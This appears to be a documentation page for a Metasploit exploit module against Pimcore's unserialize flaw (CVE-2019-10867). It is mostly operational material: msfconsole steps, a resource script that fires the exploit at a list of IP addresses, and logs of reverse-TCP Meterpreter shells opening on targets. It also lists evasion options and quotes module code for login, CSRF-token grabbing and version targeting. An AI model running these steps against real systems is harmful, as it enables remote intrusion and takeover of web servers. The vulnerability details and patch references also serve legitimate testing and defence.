Pimcore Unserialize RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/pimcore_unserialize_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pimcore Unserialize RCE
Module: exploit/multi/http/pimcore_unserialize_rce
Source code: modules/exploits/multi/http/pimcore_unserialize_rce.rb
Disclosure date: 2019-03-11
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-10867
This module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability. The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method makes it possible to exploit the unserialize function when passing untrusted values in "data" parameter. Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony unserialize payload. Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using pimcore_unserialize_rce against a single host
Normally, you can use exploit/multi/http/pimcore_unserialize_rce this way:
msf > use exploit/multi/http/pimcore_unserialize_rce
msf exploit(pimcore_unserialize_rce) > show targets
... a list of targets ...
msf exploit(pimcore_unserialize_rce) > set TARGET target-id
msf exploit(pimcore_unserialize_rce) > show options
... show and set options ...
msf exploit(pimcore_unserialize_rce) > exploit
Using pimcore_unserialize_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your pimcore_unserialize_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/pimcore_unserialize_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a PHP (unserialize()) in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability.
The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method make it possible to exploit the unserialize function when passing untrusted values in "data" parameter.
Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.6.6 with the Symfony unserialize payload.
Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
Vulnerable Application
Affecting Pimcore, version 5.x <= 5.6.6 and 4.x.
Verification Steps
Set up a default installation of Pimcore 4.x or 5.x (e.g.: composer create-project pimcore/skeleton my-project
for the 5.x branch) as described on Pimcore Installation documentation then:
- Start
msfconsole
use exploit/multi/http/pimcore_unserialize_rce
set RHOST <IP>
set USERNAME <USERNAME>
set PASSWORD <PASSWORD>
check
- You should see
The target service is running, but could not be validated.
exploit
- You should get a meterpreter session!
Options
- TARGETURI: Path to Pimcore installation (“/” is the default)
- USERNAME: Username to authenticate with
- PASSWORD: Password to authenticate with
Scenarios
Tested on Pimcore 5.6.6
msf5 > use exploit/multi/http/pimcore_unserialize_rce
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8566
rport => 8566
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password pimcore
password => pimcore
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8566 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit
[*] Started reverse TCP handler on 10.0.8.2:4444
[+] Authentication successful: admin:pimcore
[*] Pimcore version: 5.6.6
[*] Pimcore build: 9722d19576f9e49969d4a3708e045fa481eaad02
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/var/tmp/bulk-import.tmp
[*] Selected payload: Pimcore 5.x (Symfony unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:34128) at 2019-04-07 12:04:08 +0200
[!] This exploit may require manual cleanup of '/var/www/html/var/tmp/bulk-import.tmp' on the target
meterpreter >
[+] Deleted /var/www/html/var/tmp/bulk-import.tmp
meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...
[*] 192.168.2.59 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) >
Tested on Pimcore 4.6.5
msf5 > use exploit/multi/http/pimcore_unserialize_rce
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8465
rport => 8465
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password P1mc0r3_4dm1n
password => P1mc0r3_4dm1n
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8465 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit
[*] Started reverse TCP handler on 10.0.8.2:4444
[+] Authentication successful: admin:P1mc0r3_4dm1n
[*] Pimcore version: 4.6.5
[*] Pimcore build: 4123
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/website/var/system/bulk-import.tmp
[*] Selected payload: Pimcore 4.x (Zend unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:57882) at 2019-04-07 12:00:20 +0200
[+] Deleted /var/www/html/website/var/system/bulk-import.tmp
meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...
[*] 192.168.2.59 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/pimcore_unserialize_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/pimcore_unserialize_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/pimcore_unserialize_rce) > show info
Name: Pimcore Unserialize RCE
Module: exploit/multi/http/pimcore_unserialize_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-03-11
Provided by:
Daniele Scanu
Fabio Cogno
Available targets:
Id Name
-- ----
0 Pimcore 5.x (Symfony unserialize payload)
1 Pimcore 4.x (Zend unserialize payload)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base Pimcore directory path
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Space: 8000
Description:
This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
execute arbitrary code. An authenticated user with "classes"
permission could exploit the vulnerability. The vulnerability exists
in the "ClassController.php" class, where the "bulk-commit" method
makes it possible to exploit the unserialize function when passing
untrusted values in "data" parameter. Tested on Pimcore 5.4.0-5.4.4,
5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony unserialize payload.
Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-10867
https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73
https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998
Module Options
This is a complete list of options available in the multi/http/pimcore_unserialize_rce exploit:
msf6 exploit(multi/http/pimcore_unserialize_rce) > show options
Module options (exploit/multi/http/pimcore_unserialize_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base Pimcore directory path
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Pimcore 5.x (Symfony unserialize payload)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/pimcore_unserialize_rce exploit:
msf6 exploit(multi/http/pimcore_unserialize_rce) > show advanced
Module advanced options (exploit/multi/http/pimcore_unserialize_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/pimcore_unserialize_rce module can exploit:
msf6 exploit(multi/http/pimcore_unserialize_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Pimcore 5.x (Symfony unserialize payload)
1 Pimcore 4.x (Zend unserialize payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/pimcore_unserialize_rce exploit:
msf6 exploit(multi/http/pimcore_unserialize_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
18 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/pimcore_unserialize_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/pimcore_unserialize_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed
- Invalid credentials
- Authentication was unsuccessful
- Failed to retrieve cookies
- Failed to retrieve the version and build
- Unable to retrieve cookies
- Failed to retrieve the version and build
- Failed to grab csrfToken and PHPSESSID
- The target is NOT vulnerable!
- Connection failed
- Could not determine JSON payload file upload
- Target is not vulnerable.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
72: 'password' => datastore['PASSWORD']
73: }
74: )
75:
76: unless res
77: fail_with(Failure::Unreachable, 'Connection failed')
78: end
79:
80: if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/
81: print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
82:
Invalid credentials
Here is a relevant code snippet related to the "Invalid credentials" error message:
83: # Grabbing CSRF token and PHPSESSID cookie
84: return grab_csrftoken(res)
85: end
86:
87: if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
88: fail_with(Failure::NoAccess, 'Invalid credentials')
89: end
90:
91: fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
92: end
93:
Authentication was unsuccessful
Here is a relevant code snippet related to the "Authentication was unsuccessful" error message:
86:
87: if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
88: fail_with(Failure::NoAccess, 'Invalid credentials')
89: end
90:
91: fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
92: end
93:
94: def grab_csrftoken(auth_res)
95: uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"
96:
Failed to retrieve cookies
Here is a relevant code snippet related to the "Failed to retrieve cookies" error message:
103: if res && res.code == 200
104: # Pimcore 5.x
105: unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
106: @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
107: @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
108: fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
109: @pimcore_cookies << " pimcore_admin_sid=1;"
110:
111: # Version
112: version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
113: build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
Failed to retrieve the version and build
Here is a relevant code snippet related to the "Failed to retrieve the version and build" error message:
109: @pimcore_cookies << " pimcore_admin_sid=1;"
110:
111: # Version
112: version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
113: build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
114: fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
115: print_version(version, build)
116: return assign_target(version)
117: end
118:
119: # Pimcore 4.x
Unable to retrieve cookies
Here is a relevant code snippet related to the "Unable to retrieve cookies" error message:
118:
119: # Pimcore 4.x
120: unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
121: @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
122: @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
123: fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies
124:
125: # Version
126: version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
127: build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
128: fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
Failed to retrieve the version and build
Here is a relevant code snippet related to the "Failed to retrieve the version and build" error message:
123: fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies
124:
125: # Version
126: version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
127: build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
128: fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
129: print_version(version, build)
130: return assign_target(version)
131: end
132:
133: # Version different from 4.x or 5.x
Failed to grab csrfToken and PHPSESSID
Here is a relevant code snippet related to the "Failed to grab csrfToken and PHPSESSID" error message:
131: end
132:
133: # Version different from 4.x or 5.x
134: return nil
135: else
136: fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
137: end
138: end
139:
140: def print_version(version, build)
141: print_status("Pimcore version: #{version}")
The target is NOT vulnerable!
Here is a relevant code snippet related to the "The target is NOT vulnerable!" error message:
148: return targets[0]
149: elsif Rex::Version.new(version) >= Rex::Version.new('4.0.0') && Rex::Version.new(version) <= Rex::Version.new('4.6.5')
150: print_good("The target is vulnerable!")
151: return targets[1]
152: else
153: print_error("The target is NOT vulnerable!")
154: return nil
155: end
156: end
157:
158: def upload
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
171: 'ctype' => "multipart/form-data; boundary=#{data.bound}",
172: 'data' => data.to_s
173: )
174:
175: unless res
176: fail_with(Failure::Unreachable, 'Connection failed')
177: end
178:
179: if res.code == 200
180: json = res.get_json_document
181: if json['success'] == true
Could not determine JSON payload file upload
Here is a relevant code snippet related to the "Could not determine JSON payload file upload" error message:
180: json = res.get_json_document
181: if json['success'] == true
182: print_good("JSON payload uploaded successfully: #{json['filename']}")
183: return json['filename']
184: else
185: print_warning('Could not determine JSON payload file upload')
186: return nil
187: end
188: end
189: end
190:
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
207:
208: def exploit
209: # Try to log in, grab csrfToken and select target
210: my_target = login
211: if my_target.nil?
212: fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
213: end
214:
215: # Try to upload JSON payload file
216: fname = upload
217:
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11697 Merged Pull Request: Add Pimcore from 4.0.0 to 5.6.6 Unserialize RCE (CVE-2019-10867)
References
- CVE-2019-10867
- https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73
- https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998
See Also
Check also the following modules related to this module:
- auxiliary/gather/pimcore_creds_sqli
- exploit/multi/http/magento_unserialize
- exploit/multi/http/vbulletin_unserialize
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/linux/http/kaltura_unserialize_rce
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/unix/webapp/horde_unserialize_exec
- exploit/unix/webapp/invision_pboard_unserialize_exec
- exploit/unix/webapp/joomla_akeeba_unserialize
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/sugarcrm_unserialize_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/tuleap_unserialize_exec
Authors
- Daniele Scanu
- Fabio Cogno
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.